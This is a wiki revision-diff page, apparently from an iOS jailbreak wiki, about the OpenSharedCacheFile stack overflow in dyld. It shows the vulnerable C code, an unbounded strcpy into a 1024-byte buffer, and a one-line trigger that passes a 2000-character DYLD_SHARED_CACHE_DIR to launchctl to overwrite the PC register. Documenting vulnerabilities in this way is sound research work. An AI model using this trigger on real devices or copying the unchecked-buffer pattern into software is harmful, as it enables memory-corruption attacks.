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Difference between revisions of "OpenSharedCacheFile"
Awesomebing1 (talk | contribs) m (Undo revision 45155 by Awesomebing1 (talk) sorry about that, misread it) |
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To trigger it, run the following |
To trigger it, run the following |
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− | DYLD_SHARED_CACHE_DIR = |
+ | DYLD_SHARED_CACHE_DIR = "A" * 2000 \ |
DYLD_SHARED_REGION = private /bin/launchctl |
DYLD_SHARED_REGION = private /bin/launchctl |
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This will overflow the PC register making it a stack overflow. |
This will overflow the PC register making it a stack overflow. |
Revision as of 02:09, 24 March 2015
The OpenSharedCacheFile bug was found by i0n1c. This bug is a simple stack overflow.
int openSharedCacheFile() { char path[1024]; strcpy(path, sSharedCacheDir); strcat(path, "/"); strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME); return ::open(path, O_RDONLY); }
Triggering the vuln
To trigger it, run the following
DYLD_SHARED_CACHE_DIR = "A" * 2000 \ DYLD_SHARED_REGION = private /bin/launchctl
This will overflow the PC register making it a stack overflow.
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